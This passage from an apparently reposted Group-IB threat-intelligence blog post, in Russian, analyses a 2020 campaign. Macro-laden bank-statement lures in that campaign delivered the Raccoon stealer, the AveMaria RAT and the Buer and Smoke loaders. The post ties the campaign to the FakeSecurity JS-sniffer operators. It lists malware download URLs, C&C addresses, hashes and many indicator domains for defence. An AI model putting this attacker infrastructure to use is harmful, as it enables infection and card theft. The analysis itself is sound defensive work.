Данные из WHOIS-записей трёх доменов

Со всеми доменами второй волны связано порядка 300 файлов из публичных песочниц. Все эти файлы являются документами-приманками, содержащими вредоносные макросы, с названиями MyBankStatement_2436.xlsm, MyBankStatement_3269.xlsm, MyBankStatement_5763.xlsm и т.п.

Образец документа-приманки 6685955C5F006C2D83A92952EB5EB3FB9598C783

Один из таких файлов MyBank_5710.xlsm (SHA1: 6685955C5F006C2D83A92952EB5EB3FB9598C783). После активации макросов в этом документе происходила загрузка файла из cloud-server-updater22[.]co.za/doc/officebuilder. Загруженный файл c SHA1: 3657CF5F2142C7E30F72E231E87518B82710DC1C является стилером Raccoon. Он подключается к своему C&C-серверу (35.228.95[.]80) для эксфильтрации собранной информации, используя инфраструктуру Google для придания легитимности запросам. В свою очередь Raccoon производит сетевое подключение к cloud-server-updater1[.]co.za/doc/officeupdate.exe для загрузки RAT AveMaria (SHA1: a10925364347bde843a1d4105dddf4a4eb88c746), C&C-сервер которого расположен на IP-адресе 102.130.118[.]152.

AveMaria RAT это троян удаленного доступа, который был обнаружен в конце 2018 года, когда он использовался для атак на итальянскую организацию, работающую в нефтегазовом секторе. Функциональные возможности данного RAT:

  • Повышение привилегий, поддержка от Windows 7 до Windows 10;
  • Персистентность;
  • Инжект кода;
  • Кейлоггер;
  • Доступ к камере;
  • Управление процессами;
  • Управление файлами: создание, загрузка, скачивание, удаление;
  • RDP с использованием rdpwrap;
  • Функция инфостилера:

  1. Google Chrome;
  2. Firefox;
  3. Internet Explore;
  4. Outlook;
  5. Thunderbird;
  6. Foxmail.


Последовательность выполнения файла 6685955C5F006C2D83A92952EB5EB3FB9598C783

Во время исполнения Raccoon выполняет следующие сетевые запросы:

Сетевые запросы файла 3657CF5F2142C7E30F72E231E87518B82710DC1C

Среди этих сетевых запросов присутствует подключение к Telegram-каналу с названием blintick.

Создатели Raccoon использовали Telegram для обхода блокировок C&C-серверов. Так, стилер выполняет запрос к Telegram-каналу, из описания которого получает зашифрованный адрес нового C&C-сервера. Первые образцы, использующие эту технику, начали появляться на VirusTotal уже в конце мая 2020 года.

Сообщение авторов стилера Raccoon

Telegram-канал blintick и его описание:


Несмотря на то, что стилер Raccoon распространяется по модели MaaS, все файлы, распространяемые в рамках второй волны, обращались к одному и тому же Telegram-каналу. Это позволяет предположить, что документы с вредоносными макросами, загружавшими Raccoon, распространялись одной и той же группой.

Третья волна


29 июня 2020 года началась регистрация доменов третьей волны:

  • microsoft-cloud1[.]co.za
  • microsoft-cloud6[.]co.za
  • microsoft-cloud7[.]co.za
  • microsoft-cloud8[.]co.za
  • microsoft-cloud9[.]co.za
  • microsoft-cloud10[.]co.za
  • microsoft-cloud11[.]co.za
  • microsoft-cloud12[.]co.za
  • microsoft-cloud13[.]co.za
  • microsoft-cloud14[.]co.za
  • microsoft-cloud15[.]co.za

Все зарегистрированные домены указывали на IP-адрес 102.130.112[.]195. Первые вредоносные файлы, связанные с этой волной, начали появляться в публичных песочницах уже 2 июля 2020 года. Названия этих документов-приманок почти ничем не отличаются от названия файлов, рассылаемых в прошлом: BankStatement0109_13169.xlsm, My_Statement_4211.xlsm и т.д. С вышеупомянутыми доменами, а также с доменом cloud-server-updater1[.]co.za связано порядка 30 файлов:

Сетевая инфраструктура. Связь файлов с доменами двух волн

Документы-приманки этой волны выглядят идентично прошлым и, судя по их поведению после активации макросов, были созданы одним и тем же билдером. Такие билдеры позволяют создавать офисные документы с вредоносными макросами по определенным шаблонам, что помогает злоумышленникам гораздо быстрее и эффективнее распространять вредоносные файлы.

Пример документа-приманки 618C894C06633E3D7ADD228531F6E775A180A7F7

Один из анализируемых файлов, My_Statement_1953.xlsm (SHA1: 618C894C06633E3D7ADD228531F6E775A180A7F7), во время активации макросов выполняет запрос к серверу для загрузки файла из microsoft-cloud13[.]co.za/msofficeupdate.exe. Данный файл также представляет собой стилер Raccoon. Файл стилера (SHA1: 6639081791A8909F042E4A4197DF7051382B04E5) выполняет серию запросов на свой C&C-сервер 35.198.88[.]195, а также пытается загрузить файл из cloud-server-updater1[.]co.za/doc/officeupdate.exe, но получает в ответ ошибку 302 и редирект на cloud-server-updater1[.]co.za/cgi-sys/suspendedpage.cgi вследствие блокировки оригинального домена. По всей видимости, данный образец пытался загрузить RAT AVEMARIA, как и в предыдущей волне. Кроме того, все файлы данной кампании производили сетевые запросы в том числе и к вышеупомянутому Telegram-каналу telete.in/blintick.

Сетевое взаимодействие Raccoon стилера 6639081791A8909F042E4A4197DF7051382B04E5 (построено с помощью графа Group-IB TI&A)

Использование загрузчиков


В данной кампании злоумышленники также экспериментировали с различными загрузчиками. В ходе анализа инфраструктуры мы обнаружили загрузчики Buer и Smoke.

30 апреля 2020 года на VirusTotal был загружен xls-документ (SHA1: 6c6680659b09d18ccab0f933daf5bf1910168b1a). Во время исполнения вредоносного кода он загружает полезную нагрузку из cloud-server-updater2.co[.]za/doc/buer.exe.

Сетевое взаимодействие файла SHA1:6c6680659b09d18ccab0f933daf5bf1910168b1a (построено с помощью графа Group-IB TI&A)
Кроме того, эти файлы были загружены и на публичный ресурс bazaar.abuse.ch.

Название файлов и проставленные теги относят нас к Buer Loader: bazaar.abuse.ch/sample/bc96c38e3f85c43923a37f57c096eb5b3913b516dbcb11b46cb9cfd0c1d167ce/.

Сетевое взаимодействие файла SHA1:7b1a5d9bb21d852a6dbf3146fabb1cd1ca276ed9
(построено с помощью графа Group-IB TI&A)
В ходе мониторинга инфраструктуры злоумышленников мы выявили группу связанных доменов, которая была зарегистрирована в период с 24 августа по 12 сентября 2020 года. Пример таких доменов:

Domain name Data IP-address
code-cloud[1-6][.]co.za 24.08.2020 102.130.115.44
google-document[.]co.za 24.08.2020 102.130.115.44
azure-cloud[1-4][.]co.za 4.09.2020 102.130.119.232
azure-cloud[1-3].web.za 4.09.2020 102.130.119.232
Updateadobeonline[.]co.za 8.09.2020 102.130.115.44
Updateforadobenew[.]co.za 9.09.2020 102.130.118.209
Oneupdateadobe[1-4][.]co.za 9.09.2020 102.130.118.209
Updateadobe[.]co.za 12.09.2020 102.130.121.74

Схожие WHOIS-записи доменов

WHOIS-записи этих доменов совпадают с WHOIS-записями доменов, ранее замеченных в этой кампании. Уже 26 августа 2020 года на публичных ресурсах начали появляться вредоносные файлы, связанные с доменами code-cloud[1-6][.]co.za и google-document[.]co.za. Один из таких файлов BankStatement_1390868739.doc (SHA1: ed5c20371bae393df0a713be72220b055e5cbdad).

Сетевое взаимодействие файла SHA1: ed5c20371bae393df0a713be72220b055e5cbdad (построено с помощью графа Group-IB TI&A)

В процессе выполнения вредоносного кода этот файл загружает полезную нагрузку из google-document[.]co.za/doc/loader.exe. Сигнатурный анализ показал, что загружаемый файл является образцом Smoke Loader.

Анализ файла loader.exe и проставленный тег Smoke loader

То, что киберпреступники в своих кампаниях дополнительно используют загрузчики, может говорить о том, что группа все еще находится в поисках лучших инструментов для себя.

Четвертая волна


Часть доменов, зарегистрированных в начале сентября 2020 года, мимикрировала под Adobe в своих названиях. Уже начиная с 14 сентября 2020 года на этих хостах, как и в первой волне, был обнаружен Mephistophilus с идентичным шаблоном.

Связь между Mephistophilus-инфраструктурой кампаний 2019 и 2020 года


Скриншот страницы-приманки Mephistophilus

Нажатие на кнопку Download plugin приводит к загрузке файла SHA1: bcfb45e5451435530156f1f02ddbb9cadf6338e9 из updateforadobenew[.]co.za/file_d/adobe-reader-v13.11.1.3.exe, который является стилером Raccoon.

Результат анализа вредоносного файла из модуля Polygon комплексной системы Group-IB Threat Hunting Framework

Создание матрицы анализируемого файла

Примечание: Примерно в середине июля 2020 года, злоумышленники удалили свой Telegram-канал. Он был восстановлен 14 сентября 2020 года и в описании также содержал зашифрованный адрес актуального C&C-сервера. На момент написания данного исследования канал вновь неактивен.

Содержимое Telegram-канала blintick

Связь с FakeSecurity


Данная вредоносная кампания имеет явное сходство с серией атак с использованием семейства JS-снифферов FakeSecurity, описанной экспертами Group-IB в ноябре 2019 года. Жертвами прошлых атак стали владельцы сайтов онлайн-магазинов, работающих на CMS Magento. В описанной ранее кампании злоумышленники также использовали такие инструменты, как стилер Vidar и фиш-кит Mephistophilus с идентичным шаблоном под обновления для Adobe. Кроме того, в обеих кампаниях злоумышленники регистрировали домены на одних и тех же хостингах.

В кампании 2020 года мы видим использование такого же вектора атак с последующим распространением стилера Raccoon. Кроме того, в ходе исследования этой кампании мы обнаружили письма, отправленные нескольким онлайн-магазинам с email-адресов bezco.quise1988@wp.pl и outtia.lene1985@wp.pl.

При детальном исследовании первой волны распространения вредоносных программ через веб-фейки Mephistophilus мы обнаружили связь между доменами этой кампании, в частности documents-cloud-server*[.]co.za, и кампанией FakeSecurity. В кампании 2020 года веб-фейки были доступны по следующим URL:

Список доменов с идентичной структурой

Согласно ресурсу urlscan[.]io, с похожей структурой было доступно порядка 20 сайтов. Среди них выделяется alloaypparel[.]com. Этот домен использовался в кампании FakeSecurity.
С марта 2020 года специалисты Group-IB начали детектировать заражения онлайн-магазинов JS-сниффером, обфусцированным при помощи алгоритма aaencode (http://personeltest.ru/aways/utf-8.jp/public/aaencode.html). Вредоносный код подгружался с домена get-js[.]com. Домен get-js[.]com имел WHOIS-записи, схожие с ранее использованными доменами этой группы:

  • fiswedbesign[.]com
  • alloaypparel[.]com
  • firstofbanks[.]com
  • magento-security[.]org
  • mage-security[.]org


Связь между инфраструктурой группы FakeSecutiry кампании 2019 года и доменом get-js[.]com

Фрагмент кода JS-сниффера, обфусцированного при помощи алгоритма aaencode

После снятия обфускации мы определили, что используемый для заражений вредоносный код это модифицированная версия сниффера FakeSecurity, который мы анализировали в ноябре 2019 года.

Деобфусцированный код модифицированной версии сниффера FakeSecurity

В мае 2020 года специалисты Group-IB обнаружили новые заражения сайтов онлайн-магазинов. В ходе этой кампании снова использовался модифицированный сниффер FakeSecurity, обфусцированный при помощи aaencode. Вредоносный код внедрялся либо по ссылке при помощи тега script, либо путем модификации существующих JavaScript-файлов сайта. С помощью этого сниффера был скомпрометирован 21 онлайн-магазин. Для хранения кода и сбора украденных данных банковских карт в ходе новой кампании использовались следующие домены:

  • cloud-js[.]co.za
  • host-js[.]co.za
  • magento-cloud[.]co.za
  • magento-js[.]co.za
  • magento-security[.]co.za
  • marketplace-magento[.]co.za
  • marketplacemagento[.]co.za
  • node-js[.]co.za
  • node-js[.]co.za
  • payment-js[.]co.za
  • security-js[.]co.za
  • web-js[.]co.za

Дата их создания 24 апреля 2020 года (вторая волна). Эти домены были зарегистрированы у тех же регистраторов, что и домены, использовавшиеся для распространения стилеров Vidar, Raccoon, а также загрузчиков Buer и Smoke.

Формат ссылок на файлы JS-снифферов, а также используемое семейство вредоносного кода позволяют предположить, что за кампанией по заражению сайтов онлайн-магазинов стоят операторы семейства JS-снифферов FakeSecurity.

Кроме того, некоторые домены исследуемой кампании хостили страницу заглушки с надписью test page похожая страница заглушки хостится и на доменах FakeSecurity:

  • urlscan.io/result/0299b3e5-cbba-40be-adce-7ba437e4cb39/ microsoft-cloud10[.]co.za
  • urlscan.io/result/8f244d1b-2186-4db5-9c52-6122584dafa9/ documents-cloud-server[.]co.za





Варианты схожих заглушек test page на гейтах FakeSecurity и исследуемых доменах co.za

Обнаруженные параллели свидетельствуют о том, что за описанной выше многоступенчатой вредоносной кампанией вероятнее всего стоят операторы семейства JS-снифферов FakeSecurity. По нашим данным, хоть группа и использует для получения первоначального доступа инструменты не своей разработки, которые продаются или сдаются в аренду на даркнет-форумах, она продолжает использовать свой уникальный JS-сниффер.

Рекомендации


Для того, чтобы проверить свои системы защиты на готовность к отражению атак, описанных в нашем блоге, мы приводим матрицу MITRE ATT&CK и MITRE Shield. Все эти технологии защиты реализованы в новом классе решений Group-IB для исследования киберугроз и охоты за атакующими. При возникновении вопросов или подозрений на инцидент обращайтесь на response@cert-gib.com.

Tactics Techniques of adversaries Mitigations & Active Defense Techniques Group-IB mitigation & protection products
Reconnaissance T1595 Active Scanning

T1583. Acquire Infrastructure
 M1016. Vulnerability Scanning Security Assessment
Initial Access T1566 Phishing

T1190 Exploit Public-Facing Application
 M1049. Antivirus/Antimalware

M1031. Network Intrusion Prevention

M1021. Restrict Web-Based Content

M1017. User Training

M1050. Exploit Protection

M1051. Update Software

M1027. Password Policies

DTE0035. User Training

DTE0019. Email Manipulation

DTE0027. Network Monitoring
 Threat Hunting Framework

Threat Intelligence & Attribution

Cyber Education

Red Teaming
Execution T1059. Command and Scripting Interpreter

T1204. User Execution

T1059.007. JavaScript/JScript
 M1049. Antivirus/Antimalware

M1038. Execution Prevention

M1021. Restrict Web-Based Content

M1026. Privileged Account Management

DTE0035. User Training

DTE0021. Hunting

DTE0018. Detonate Malware

DTE0007. Behavioral Analytics

DTE0003. API Monitoring

DTE0034. System Activity Monitoring
 Threat Hunting Framework

Red Teaming

Incident Response

Fraud Hunting Platform
Defense Evasion T1036. Masquerading

T1027. Obfuscated Files or Information
Credential Access T1056. Input Capture
 M1049. Antivirus/Antimalware

DTE0007. Behavioral Analytics

DTE0003. API Monitoring

DTE0034. System Activity Monitoring
 Threat Hunting Framework
Collection
Command and Control T1219. Remote Access Software M1038. Execution Prevention

M1031. Network Intrusion Prevention

DTE0021. Hunting

DTE0022. Isolation

DTE0027. Network Monitoring

DTE0003. API Monitoring

DTE0034. System Activity Monitoring

DTE0031. Protocol Decoder
 Threat Hunting Framework
Exfiltration T1041. Exfiltration Over C2 Channel

P.S. Автор выражает благодарность Виктору Окорокову, аналитику Group-IB Threat Intelligence & Attribution, за помощь в подготовке данной публикации.

P.P.S. Если ты, также как и мы считаешь, что зло в любом цифровом обличии должно быть наказано, залетай посмотреть наши актуальные вакансии в департаменте Threat Intelligence & Attribution. Group-IB это новое поколение инженеров, воплощающих смелые инновационные идеи предотвращения кибератак, основанные на технологиях хантинга, слежения за атакующими, их тактикой, инструментами и инфраструктурой. Ежедневно мы боремся с международной киберпреступностью, создавая продукты и сервисы, способные защитить людей, бизнес и государства во всем мире. И если твои скилы могут пригодиться для того, чтобы создавать новые решения, пилить крутые интерфейсы, то у нас есть огромное количество вакансий в департаменте разработки. Присоединяйся!

Индикаторы
TG not mal telete[.]in/blintick

8623aq9z046whQWysOHRvL9zM/GAADZbWXUG4TKc3D8n3r00X34-v70

73309q9z046whQWytOHdtItzM+WEADZfJFUetXe10DMG+8VUP7A==26-v30
Raccoon cloud-server-updater[.]co.za

cloud-server-updater1[.]co.za

cloud-server-updater2[.]co.za

cloud-server-updater3[.]co.za

cloud-server-updater4[.]co.za

cloud-server-updater5[.]co.za

cloud-server-updater6[.]co.za

cloud-server-updater7[.]co.za

cloud-server-updater8[.]co.za

cloud-server-updater9[.]co.za

cloud-server-updater10[.]co.za

cloud-server-updater11[.]co.za

cloud-server-updater12[.]co.za

cloud-server-updater13[.]co.za

cloud-server-updater14[.]co.za

cloud-server-updater15[.]co.za

cloud-server-updater16[.]co.za

cloud-server-updater17[.]co.za

cloud-server-updater18[.]co.za

cloud-server-updater19[.]co.za

cloud-server-updater20[.]co.za

cloud-server-updater21[.]co.za

cloud-server-updater22[.]co.za

cloud-server-updater23[.]co.za

cloud-server-updater24[.]co.za

cloud-server-updater25[.]co.za

cloud-server-updater26[.]co.za

cloud-server-updater27[.]co.za

cloud-server-updater28[.]co.za

35.228.95[.]80

35.198.88[.]195

34.105.255[.]170

102.130.113[.]55

34.105.219[.]83

oneupdateadobe.co.za

oneupdateadobe2.co.za

oneupdateadobe3.co.za

oneupdateadobe4.co.za

updateforadobenew.co.za

oneupdateadobe.org.za

oneupdateadobe2.org.za

oneupdateadobe3.org.za

microsoft-cloud1[.]co.za

microsoft-cloud6[.]co.za

microsoft-cloud7[.]co.za

microsoft-cloud8[.]co.za

microsoft-cloud9[.]co.za

microsoft-cloud10[.]co.za

microsoft-cloud11[.]co.za

microsoft-cloud12[.]co.za

microsoft-cloud13[.]co.za

microsoft-cloud14[.]co.za

microsoft-cloud15[.]co.za

cloudupdates[.]co.za
FakeSecurity cloud-js[.]co.za

host-js[.]co.za

magento-cloud[.]co.za

magento-js[.]co.za

magento-security[.]co.za

marketplace-magento[.]co.za

marketplacemagento[.]co.za

node-js[.]co.za

node-js[.]co.za

payment-js[.]co.za

security-js[.]co.za

web-js[.]co.za
Mephistophilus documents-cloud-server1[.]co.za

documents-cloud-server2[.]co.za

documents-cloud-server3[.]co.za

documents-cloud-server4[.]co.za

documents-cloud-server6[.]co.za

documents-cloud-server7[.]co.za

documents-cloud-server8[.]co.za

documents-cloud-server9[.]co.za

documents-cloud-server[.]co.za

oneupdateadobe.co.za

oneupdateadobe2.co.za

oneupdateadobe3.co.za

oneupdateadobe4.co.za

updateforadobenew.co.za

oneupdateadobe.org.za

oneupdateadobe2.org.za

oneupdateadobe3.org.za

oneupdateadobe3.com
Vidar badlandsparks.com

gineuter.info

paunsaugunt.com

precambrianera.com

biscayneinn.com

msupdater[.]co.za

cloudupdate[.]co.za

cloudupdates[.]co.za

securitycloudserver[.]co.za

fastandprettycleaner[.]hk

download-plugin[.]co.za

download-plugins[.]co.za

downloadplugins[.]co.za
Другие индикаторы code-cloud1[.]co.za

code-cloud2[.]co.za

code-cloud3[.]co.za

code-cloud4[.]co.za

code-cloud5[.]co.za

code-cloud6[.]co.za

google-document[.]co.za

azure-cloud1[.]co.za

azure-cloud2[.]co.za

azure-cloud3[.]co.za

azure-cloud4[.]co.za

azure-cloud1.web.za

azure-cloud2.web.za

azure-cloud3].web.za

Updateadobeonline[.]co.za
Подробнее..
Категории: Cybersecurity , Блог компании group-ib , Malware analysis , Research , Analysis , Компьютерная безопасность , Киберкриминалистика , Cybercriminalistics , Stealer , Стилер , Анализ вредоносов , Анализ вредоносного по , Cybercrime , Анализ вредоносного кода , Malware researching

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru